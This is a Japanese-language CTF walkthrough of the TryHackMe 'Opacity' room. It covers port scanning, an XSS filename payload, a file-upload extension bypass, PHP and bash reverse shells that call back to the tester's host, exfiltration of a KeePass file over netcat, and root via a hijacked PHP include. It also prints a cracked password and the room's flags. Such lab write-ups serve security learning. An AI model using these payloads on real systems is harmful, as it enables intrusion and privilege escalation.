【TryHackMe】Opacity：Walkthrough

# 概要

TryHackMe「Opacity」のWalkthroughです。

https://tryhackme.com/r/room/opacity

# Task1

## **Q1**.*What is the  local.txt flag?*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sVC -A --min-rate 5000 -p- -oN nmap_result 10.10.175.183
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0f:ee:29:10:d9:8e:8c:53:e6:4d:e3:67:0c:6e:be:e3 (RSA)
|   256 95:42:cd:fc:71:27:99:39:2d:00:49:ad:1b:e4:cf:0e (ECDSA)
|_  256 ed:fe:9c:94:ca:9c:08:6f:f2:5c:a6:cf:4d:3c:8e:5b (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
| http-title: Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2024-10-05T02:13:09
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: OPACITY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.2p1|
|80|http|Apache httpd 2.4.41|
|139|netbios-ssn|Samba smbd 4.6.2|
|445|netbios-ssn|Samba smbd 4.6.2|

SMBの列挙を試みましたが有用な情報は得られませんでした。

```
$ enum4linux -a 10.10.38.212
 =================================( Share Enumeration on 10.10.38.212 )=================================                                                                                                    
                                                                                                      
smbXcli_negprot_smb1_done: No compatible protocol selected by server.                                 

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        IPC$            IPC       IPC Service (opacity server (Samba, Ubuntu))
```

`80`番ポートのディレクトリスキャンをします。

```
$ dirsearch -u http://10.10.175.183
[22:16:16] 301 -  314B  - /cloud  ->  http://10.10.175.183/cloud/
[22:16:16] 200 -  393B  - /cloud/
[22:16:20] 301 -  312B  - /css  ->  http://10.10.175.183/css/
[22:16:41] 200 -  381B  - /login.php
```

`/login.php`ではログインフォームが表示されました。

![login.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/7d38fab3-ac2f-f950-f416-53790d4e654e.jpeg)

`/cloud`へアクセスするとファイルアップロードページが表示されました。

![cloud index.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/8309062a-b669-e46a-10c5-902d8230fae3.jpeg)

試しに`http://ip/test.png`を入力するとファイルの取得を確認できました。
画像形式のファイルのみアップロードできるようです。

```
$ python -m http.server 80
10.10.175.183 - - [04/Oct/2024 22:26:28] code 404, message File not found
10.10.175.183 - - [04/Oct/2024 22:26:28] "GET /test.png HTTP/1.1" 404 -
```

`"><img src=x onerror=alert("XSS")>.jpg`のようなファイル名を送信するとXSSに成功しました。

![alert xss.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/405f771c-0e63-34b0-0050-faae32b1682c.jpeg)

しかしサーバーの侵入には繋がりませんでした。

拡張子制限回避のテクニックをHackTricksから試してみます。

https://book.hacktricks.xyz/pentesting-web/file-upload

結果、`http://ip/revshell.php#.jpg`のようなペイロードにすると、拡張子の制限を突破してPHPファイルを取得できることが分かりました。

```
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.38.212 - - [05/Oct/2024 01:17:11] code 404, message File not found
10.10.38.212 - - [05/Oct/2024 01:17:11] "GET /revshell.php HTTP/1.1" 404 -
```

Netcatでリッスンします。

```
$ nc -lvnp 1234
listening on [any] 1234 ...
```

リバースシェル用のPHPファイルを用意してリクエストを送信するとリバースシェルを張れました。

```
$ nc -lvnp 1234                                                         
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.38.212] 43676
Linux opacity 5.4.0-139-generic #156-Ubuntu SMP Fri Jan 20 17:27:18 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
 05:19:12 up  1:35,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
```

TTYを設定します。

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
```

`/opt`に`KeePass`フィルを発見しました。

```
$ ls -la /opt
ls -la /opt
total 12
drwxr-xr-x  2 root     root     4096 Jul 26  2022 .
drwxr-xr-x 19 root     root     4096 Jul 26  2022 ..
-rwxrwxr-x  1 sysadmin sysadmin 1566 Jul  8  2022 dataset.kdbx
```

ダウンロードするためにKaliでリッスンします。

```
$ nc -nlvp 7777 | tar xf -
```

ターゲットマシンから接続し、ファイルをダウンロードしました。

```
$ tar cf - dataset.kdbx | nc 10.6.55.144 7777
```

JohnTheRipperでファイルのパスワードを解析します。

```
$ keepass2john dataset.kdbx > hash

$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
741852963        (dataset)
```

解析したパスワードでファイルを読み込むとアカウントのパスワードを得られました。

```
$ keepass2 dataset.kdbx
```

![keepass.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f0a61d55-e44c-b419-bf60-49aa40a4c1fd.jpeg)

`sysadmin`へログインします。

```
$ su sysadmin
su sysadmin
Password: Cl0udP4ss40p4city#8700

sysadmin@opacity:/opt$
```

`/home/sysadmin/local.txt`からユーザーフラグを入手できました。

```/home/sysadmin/local.txt
6661b61b44d234d230d06bf5b3c075e2
```

**A**.**6661b61b44d234d230d06bf5b3c075e2**

## **Q2**.*What is the proof.txt flag?*

`pspy`でプロセスを監視すると`/home/sysadmin/scripts/script.php`がルート権限で動作していると分かりました。

```
$ pspy32
2024/10/05 06:08:01 CMD: UID=0     PID=2684   | /usr/bin/php /home/sysadmin/scripts/script.php 
2024/10/05 06:08:01 CMD: UID=0     PID=2683   | /bin/sh -c /usr/bin/php /home/sysadmin/scripts/script.php
```

`/home/sysadmin/scripts/script.php`の内容を確認します。

```/home/sysadmin/scripts/script.php
<?php

//Backup of scripts sysadmin folder
require_once('lib/backup.inc.php');
zipData('/home/sysadmin/scripts', '/var/backups/backup.zip');
echo 'Successful', PHP_EOL;

//Files scheduled removal
$dir = "/var/www/html/cloud/images";
if(file_exists($dir)){
    $di = new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS);
    $ri = new RecursiveIteratorIterator($di, RecursiveIteratorIterator::CHILD_FIRST);
    foreach ( $ri as $file ) {
        $file->isDir() ?  rmdir($file) : unlink($file);
    }
}
?>
```

`require_once()`で読み込んでいる`lib/`ディレクトリを確認すると、`sysadmin`権限でファイルを操作できそうです。

```
$ ls -la
total 16
drwxr-xr-x 3 root     root     4096 Jul  8  2022 .
drwxr-xr-x 6 sysadmin sysadmin 4096 Feb 22  2023 ..
drwxr-xr-x 2 sysadmin root     4096 Jul 26  2022 lib
-rw-r----- 1 root     sysadmin  519 Jul  8  2022 script.php
```

既存の`backup.inc.php`を別ファイル名にします。

```
$ mv backup.inc.php backup.inc.php.org
```

新たに`backup.inc.php`を用意します。

```backup.inc.php
<?php
system('bash -c "sh -i >& /dev/tcp/10.6.55.144/1234 0>&1"');
?>
```

Netcatでリッスンしているとrootのシェルを取得できました。

```
$ nc -lvnp 1234     
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.38.212] 38848
sh: 0: can't access tty; job control turned off
# whoami
root
```

`/root/proof.txt`からルートフラグを入手できます。

```/root/proof.txt
ac0d56f93202dd57dcb2498c739fd20e
```

**A**.**ac0d56f93202dd57dcb2498c739fd20e**